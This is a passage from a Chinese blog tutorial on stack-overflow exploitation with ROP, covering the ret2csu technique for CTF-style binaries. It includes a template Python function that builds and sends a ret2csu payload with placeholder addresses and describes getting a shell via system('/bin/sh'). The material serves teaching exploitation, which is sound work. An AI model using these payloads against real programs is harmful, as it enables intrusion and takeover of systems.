<li>方法二：再次利用栈溢出和 csu 向 bss 段写入 system 地址以及 /bin/sh 地址 (能够找到 /bin/sh\x00 字符串就不用写入)，并使得程序再次返回 main 函数。然后再利用栈溢出和 csu 执行 system(“/bin/sh”) 成功获取 shell</li>
</ul>
</li>
</ol>
<p><strong>改进思路：</strong></p>
<p>利用 csu 中的 gadgets 控制寄存器的值时，payload的长度为 128bytes；但是不是所有的栈溢出都可以注入这么多字节的长度</p>
<ul>
<li>改进1：提前控制 rbx 和 rbp</li>
<li>改进2：多次利用（条件：漏洞可多次触发+两次触发之间程序不会修改 r12-r15 寄存器）</li>
<li>改进3：可以一次性读入大量字节的时候，可以一次性把所有字节布置好，再慢慢利用</li>
</ul>
<p>其他的 gcc 默认会编译进去的函数也可以作为 gadgets 库：</p>
<pre class="line-numbers language-txt" data-language="txt"><code class="language-txt">_init
_start
call_gmon_start
deregister_tm_clones
register_tm_clones
__do_global_dtors_aux
frame_dummy
__libc_csu_init
__libc_csu_fini
_fini<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre>

<h2 id="常用代码-4"><a href="#常用代码-4" class="headerlink" title="常用代码"></a>常用代码</h2><pre class="line-numbers language-python" data-language="python"><code class="language-python"><span class="token keyword">def</span> <span class="token function">csu</span><span class="token punctuation">(</span>rbx<span class="token punctuation">,</span> rbp<span class="token punctuation">,</span> r12<span class="token punctuation">,</span> r13<span class="token punctuation">,</span> r14<span class="token punctuation">,</span> r15<span class="token punctuation">,</span> ret_func<span class="token punctuation">)</span><span class="token punctuation">:</span>
    <span class="token triple-quoted-string string">"""
    function: return2csu
    Make use of __libc_csu_init
    """</span>
    <span class="token comment"># pop rbx,rbp,r12,r13,r14,r15</span>
    <span class="token comment"># rbx should be 0,</span>
    <span class="token comment"># rbp should be 1,enable not to jump</span>
    <span class="token comment"># r12 should be the function we want to call</span>
    <span class="token comment"># rdi=edi=r15d</span>
    <span class="token comment"># rsi=r14</span>
    <span class="token comment"># rdx=r13</span>
    offset <span class="token operator">=</span> <span class="token number">0x00000000</span>
    csu_front_addr <span class="token operator">=</span> <span class="token number">0x00000000</span>
    csu_end_addr <span class="token operator">=</span> <span class="token number">0x00000000</span>

    payload <span class="token operator">=</span> cyclic<span class="token punctuation">(</span>offset<span class="token punctuation">)</span>
    payload <span class="token operator">+=</span> p64<span class="token punctuation">(</span>csu_end_addr<span class="token punctuation">)</span> <span class="token operator">+</span> p64<span class="token punctuation">(</span>rbx<span class="token punctuation">)</span> <span class="token operator">+</span> p64<span class="token punctuation">(</span>rbp<span class="token punctuation">)</span> <span class="token operator">+</span> p64<span class="token punctuation">(</span>r12<span class="token punctuation">)</span> <span class="token operator">+</span> p64<span class="token punctuation">(</span>r13<span class="token punctuation">)</span> <span class="token operator">+</span> p64<span class="token punctuation">(</span>r14<span class="token punctuation">)</span> <span class="token operator">+</span> p64<span class="token punctuation">(</span>r15<span class="token punctuation">)</span>
    payload <span class="token operator">+=</span> p64<span class="token punctuation">(</span>csu_front_addr<span class="token punctuation">)</span> <span class="token operator">+</span> cyclic<span class="token punctuation">(</span><span class="token number">0x38</span><span class="token punctuation">)</span>
    payload <span class="token operator">+=</span> p64<span class="token punctuation">(</span>ret_func<span class="token punctuation">)</span>

    io<span class="token punctuation">.</span>send<span class="token punctuation">(</span>payload<span class="token punctuation">)</span>
    sleep<span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre>

<p>更多相关wp：</p>
<p><a target="_blank" rel="noopener" href="https://gitee.com/ec1ipse/pwn-write-ups/blob/master/0x016-ret2csu/wp.md">https://gitee.com/ec1ipse/pwn-write-ups/blob/master/0x016-ret2csu/wp.md</a></p>
<hr>
<p align="center">未完待续 ─=≡Σ(((つ•̀ω•́)つ</p>
    </div>

    
    
    

    <footer class="post-footer">
          

<div class="post-copyright">
<ul>
  <li class="post-copyright-author">
      <strong>Post author:  </strong>eclipse
  </li>
  <li class="post-copyright-link">
      <strong>Post link: </strong>
      <a href="https://ec1ipse.gitee.io/2021/03/27/blog006-pwn-stackoveflow-rop/" title="栈溢出利用之ROP">https://ec1ipse.gitee.io/2021/03/27/blog006-pwn-stackoveflow-rop/</a>
  </li>
  <li class="post-copyright-license">
    <strong>Copyright Notice:  </strong>All articles in this blog are licensed under <a href="https://creativecommons.org/licenses/by-nc-sa/4.0/zh-Hans" rel="noopener" target="_blank"><i class="fab fa-fw fa-creative-commons"></i>BY-NC-SA</a> unless stating additionally.
  </li>
</ul>
</div>

          <div class="followme">
  <span>Welcome to my other publishing channels</span>

  <div class="social-list">

      <div class="social-item">
        <a target="_blank" class="social-link" href="/atom.xml">
          <span class="icon">
            <i class="fa fa-rss"></i>
          </span>

          <span class="label">RSS</span>
        </a>
      </div>
  </div>
</div>

          <div class="post-tags">
              <a href="/tags/Pwn/" rel="tag"><i class="fa fa-tag"></i> Pwn</a>
          </div>

        

          <div class="post-nav">
            <div class="post-nav-item">
                <a href="/2021/03/26/blog005-elf-protection-mechanism/" rel="prev" title="PWN之程序的保护机制">
                  <i class="fa fa-chevron-left"></i> PWN之程序的保护机制
                </a>
            </div>
            <div class="post-nav-item">
                <a href="/2021/03/28/blog007-systemcall/" rel="next" title="X86与X64的系统调用">
                  X86与X64的系统调用 <i class="fa fa-chevron-right"></i>
                </a>
            </div>
          </div>
    </footer>
  </article>
</div>







<script>
  window.addEventListener('tabs:register', () => {
    let { activeClass } = CONFIG.comments;
    if (CONFIG.comments.storage) {
      activeClass = localStorage.getItem('comments_active') || activeClass;
    }
    if (activeClass) {
      const activeTab = document.querySelector(`a[href="#comment-${activeClass}"]`);
      if (activeTab) {
        activeTab.click();
      }
    }
  });
  if (CONFIG.comments.storage) {
    window.addEventListener('tabs:click', event => {
      if (!event.target.matches('.tabs-comment .tab-content .tab-pane')) return;
      const commentClass = event.target.classList[1];
      localStorage.setItem('comments_active', commentClass);
    });
  }
</script>
</div>
  </main>

  <footer class="footer">
    <div class="footer-inner">


<div class="copyright">
  &copy; 2021 – 
  <span itemprop="copyrightYear">2022</span>
  <span class="with-love">
    <i class="fa fa-heart"></i>
  </span>
  <span class="author" itemprop="copyrightHolder">eclipse</span>
</div>
<div class="wordcount">
  <span class="post-meta-item">
    <span class="post-meta-item-icon">
      <i class="fa fa-chart-line"></i>
    </span>
    <span title="Symbols count total">29k</span>
  </span>
  <span class="post-meta-item">
    <span class="post-meta-item-icon">
      <i class="fa fa-coffee"></i>
    </span>
    <span title="Reading time total">30 mins.</span>
  </span>
</div>

    </div>
  </footer>

  
  <script size="300" alpha="0.6" zIndex="-1" src="https://cdn.jsdelivr.net/npm/ribbon.js@1.0.2/dist/ribbon.min.js"></script>
  <script src="https://cdn.jsdelivr.net/npm/animejs@3.2.1/lib/anime.min.js"></script>
<script src="/js/utils.js"></script><script src="/js/motion.js"></script><script src="/js/next-boot.js"></script>

  
<script src="/js/local-search.js"></script>





  <script>
    NProgress.configure({
      showSpinner: true
    });
    NProgress.start();
    document.addEventListener('readystatechange', () => {
      if (document.readyState === 'interactive') {
        NProgress.inc(0.8);
      }
      if (document.readyState === 'complete') {
        NProgress.done();
      }
    });
    document.addEventListener('pjax:send', () => {
      NProgress.start();
    });
    document.addEventListener('pjax:success', () => {
      NProgress.done();
    });
  </script>

  





<script src="/live2dw/lib/L2Dwidget.min.js?094cbace49a39548bed64abff5988b05"></script><script>L2Dwidget.init({"model":{"jsonPath":"/live2dw/assets/hijiki.model.json"},"display":{"position":"left","width":150,"height":300},"mobile":{"show":false},"log":false,"pluginJsPath":"lib/","pluginModelPath":"assets/","pluginRootPath":"live2dw/","tagMode":false});</script></body>
</html>
